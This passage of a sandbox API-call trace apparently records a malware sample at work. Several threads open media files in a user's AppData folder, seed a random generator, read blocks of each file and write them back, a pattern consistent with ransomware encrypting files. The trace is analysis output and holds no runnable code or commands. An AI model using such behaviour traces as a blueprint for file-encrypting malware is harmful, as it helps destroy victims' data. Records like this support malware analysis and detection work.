Seed=0x473f860 | out: Seed=0x473f860) returned 0x15fa6572 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x36913435 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x5a235bc3 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x430dfcb4 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x13201f40 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x1640ab78 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x52ad748b [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x6e2ed72d [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x78f4ebc1 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x3fc52551 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x3a5e37e4 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x475a3c1 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x2981cf70 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x6d5964ca [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x1494f7e8 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x6269806f [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x385c613f [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x6e55432c [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x6ead2d84 [0064.587] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x5397bf57 [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x424fe862 [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x30d90775 [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x179df8fd [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x5e5e5f5b [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x4ee03ed7 [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0xa7f390f [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x53cf8cdf [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x762cd4e7 [0064.588] RtlRandomEx (in: Seed=0x473f860 | out: Seed=0x473f860) returned 0x7aaa1c64 [0064.599] SetFilePointerEx (in: hFile=0x1298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.599] ReadFile (in: hFile=0x1298, lpBuffer=0x19b2f810, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x473f834, lpOverlapped=0x0 | out: lpBuffer=0x19b2f810*, lpNumberOfBytesRead=0x473f834*=0xc800, lpOverlapped=0x0) returned 1 [0064.599] SetFilePointerEx (in: hFile=0x1298, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed52b0 [0064.599] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e91c0 [0064.599] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e91c0) returned 1 [0064.600] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d09960 [0064.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e91c0 [0064.605] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9120 [0064.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9120) returned 1 [0064.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0064.605] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.605] WriteFile (hFile=0x1298, lpBuffer=0x12d09960, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x473f834, lpOverlapped=0x0) Thread: id = 648 os_tid = 0x9b4 [0050.771] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xkc9gz.m4a")) returned 0x2020 [0050.771] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a", dwFileAttributes=0x20) returned 1 [0064.605] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\XKc9gZ.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\xkc9gz.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1280 [0064.605] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x1024fe70 | out: lpFileSize=0x1024fe70*=91906) returned 1 [0064.605] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x166fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.606] ReadFile (in: hFile=0x1280, lpBuffer=0x1024fdf4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1024fdf0, lpOverlapped=0x0 | out: lpBuffer=0x1024fdf4*, lpNumberOfBytesRead=0x1024fdf0*=0x4, lpOverlapped=0x0) returned 1 [0064.606] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9120 [0064.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9030 [0064.606] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9080 [0064.606] NtQuerySystemTime (in: CurrentTime=0x1024fdd0 | out: CurrentTime=0x1024fdd0*=132174898285920000) returned 0x0 [0064.606] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x7cc1e06f [0064.606] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x15701a33 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x66244074 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x56fa2384 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x7252d7b6 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x14df69de [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x76b5e30b [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x461f6c59 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x49043b12 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x4c0e2eeb [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x769e5c26 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x1ad348e7 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x1d24df82 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x2fa27345 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x7464ddbc [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x649dfdf4 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x4677edfa [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x474f4254 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x1ea2dcc4 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x799d6208 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x695ac77c [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x743eae3e [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x1e2ada63 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x6ed5cd6c [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x4e876d07 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x6e801bec [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0xe1a1717 [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x743b949a [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x1f548b9a [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x7784acc [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x746a7dcb [0064.607] RtlRandomEx (in: Seed=0x1024fddc | out: Seed=0x1024fddc) returned 0x6c554dcb [0064.618] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.618] ReadFile (in: hFile=0x1280, lpBuffer=0x12d16168, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1024fdb0, lpOverlapped=0x0 | out: lpBuffer=0x12d16168*, lpNumberOfBytesRead=0x1024fdb0*=0xc800, lpOverlapped=0x0) returned 1 [0064.619] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed52b0 [0064.619] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9120 [0064.619] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9120) returned 1 [0064.620] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d22970 [0064.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9120 [0064.621] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9080 [0064.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9080) returned 1 [0064.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0064.621] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.621] WriteFile (hFile=0x1280, lpBuffer=0x12d22970, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1024fdb0, lpOverlapped=0x0) Thread: id = 649 os_tid = 0xb2c [0050.772] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y1fny_hdjruwkvep.mp3")) returned 0x2020 [0050.772] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3", dwFileAttributes=0x20) returned 1 [0064.621] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\y1Fny_hdJruWkVeP.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y1fny_hdjruwkvep.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x828 [0064.622] GetFileSizeEx (in: hFile=0x828, lpFileSize=0x1057f9f0 | out: lpFileSize=0x1057f9f0*=69480) returned 1 [0064.622] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x10f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.622] ReadFile (in: hFile=0x828, lpBuffer=0x1057f974, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1057f970, lpOverlapped=0x0 | out: lpBuffer=0x1057f974*, lpNumberOfBytesRead=0x1057f970*=0x4, lpOverlapped=0x0) returned 1 [0064.622] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9080 [0064.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93a0 [0064.622] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0064.622] NtQuerySystemTime (in: CurrentTime=0x1057f950 | out: CurrentTime=0x1057f950*=132174898286076000) returned 0x0 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x13d7d145 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x26c95dd6 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x656011b3 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x4982b991 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x972e03a [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x4407c19c [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x54257e8f [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x2f4d0210 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x50e8687b [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x665d50a6 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x2fbe70e9 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x105daec4 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x3699048 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x65fdeabb [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x41f36628 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x10ca0b1e [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x70d854b3 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x56c73a0e [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x1833ad9e [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x753df7fc [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x55ec3bae [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x59053d3b [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x61da81f1 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0xb54866b [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x4fa57b81 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x57f56dca [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x41a48ffb [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x1b68180a [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x469801c4 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0xfc6179a [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x54cef387 [0064.623] RtlRandomEx (in: Seed=0x1057f95c | out: Seed=0x1057f95c) returned 0x19d10e18 [0064.636] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.636] ReadFile (in: hFile=0x828, lpBuffer=0x12d2f178, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1057f930, lpOverlapped=0x0 | out: lpBuffer=0x12d2f178*, lpNumberOfBytesRead=0x1057f930*=0xc800, lpOverlapped=0x0) returned 1 [0064.636] SetFilePointerEx (in: hFile=0x828, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x5ed52b0 [0064.636] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9080 [0064.636] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9080) returned 1 [0064.637] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12d3b980 [0064.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9080 [0064.638] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0064.638] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9418) returned 1 [0064.638] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ed52b0) returned 1 [0064.638] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.639] WriteFile (hFile=0x828, lpBuffer=0x12d3b980, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1057f930, lpOverlapped=0x0) Thread: id = 650 os_tid = 0xb30 [0050.772] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y3yvwzzp-m2o.flv")) returned 0x2020 [0050.772] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv", dwFileAttributes=0x20) returned 1 [0064.639] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Y3yvWzzP-m2o.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\y3yvwzzp-m2o.flv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb5c [0064.639] GetFileSizeEx (in: hFile=0xb5c, lpFileSize=0x1068f998 | out: lpFileSize=0x1068f998*=28078) returned 1 [0064.639] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x6daa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.639] ReadFile (in: hFile=0xb5c, lpBuffer=0x1068f91c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1068f918, lpOverlapped=0x0 | out: lpBuffer=0x1068f91c*, lpNumberOfBytesRead=0x1068f918*=0x4, lpOverlapped=0x0) returned 1 [0064.640] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0064.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0064.640] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94e0 [0064.640] NtQuerySystemTime (in: CurrentTime=0x1068f8f8 | out: CurrentTime=0x1068f8f8*=132174898286232000) returned 0x0 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x5d76a0b3 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x140d84cb [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x611c151a [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x390459e9 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x1d897baa [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x14fd733b [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0xb914426 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x5ce2d0ea [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x69eae41f [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x28dd8507 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x19207b01 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x3a75d8a4 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0xd48bc44 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x54eb1846 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x16a28739 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x5b534f14 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x3a04ba27 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x709ee7d2 [0064.640] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x63f264aa [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x45d766b2 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x470aff1c [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x48438cc1 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x7d26341f [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x72ef1b22 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x6da8b320 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x6dfb9dea [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x5aa911e3 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x238784b9 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x6ac20128 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x588c79f7 [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x603e525a [0064.641] RtlRandomEx (in: Seed=0x1068f904 | out: Seed=0x1068f904) returned 0x5f3ec11f [0064.654] ReadFile (in: hFile=0xb5c, lpBuffer=0x12d48188, nNumberOfBytesToRead=0x6dae, lpNumberOfBytesRead=0x1068f8f4, lpOverlapped=0x0 | out: lpBuffer=0x12d48188*, lpNumberOfBytesRead=0x1068f8f4*=0x6dae, lpOverlapped=0x0) returned 1 [0064.655] SetFilePointerEx (in: hFile=0xb5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.655] WriteFile (hFile=0xb5c, lpBuffer=0x197281c8, nNumberOfBytesToWrite=0x6dae, lpNumberOfBytesWritten=0x1068f8f0, lpOverlapped=0x0) Thread: id = 651 os_tid = 0xb34 [0050.773] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zodkwsqbxo.mkv")) returned 0x2020 [0050.773] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv", dwFileAttributes=0x20) returned 1 [0064.655] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\zodKwSQbXo.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\zodkwsqbxo.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13b4 [0064.655] GetFileSizeEx (in: hFile=0x13b4, lpFileSize=0x65bfbfc | out: lpFileSize=0x65bfbfc*=51225) returned 1 [0064.656] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0xc815, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.656] ReadFile (in: hFile=0x13b4, lpBuffer=0x65bfb80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x65bfb7c, lpOverlapped=0x0 | out: lpBuffer=0x65bfb80*, lpNumberOfBytesRead=0x65bfb7c*=0x4, lpOverlapped=0x0) returned 1 [0064.656] SetFilePointerEx (in: hFile=0x13b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9418 [0064.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94e0 [0064.656] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9760 [0064.656] NtQuerySystemTime (in: CurrentTime=0x65bfb5c | out: CurrentTime=0x65bfb5c*=132174898286388000) returned 0x0 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x340e8c3c [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x713cdd8c [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x784a43cf [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x4fa8a712 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x789245e5 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x3bb759ae [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x4d117a1c [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x20635053 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x377462c2 [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x3e01469c [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: Seed=0x65bfb68) returned 0x6dff91ac [0064.657] RtlRandomEx (in: Seed=0x65bfb68 | out: 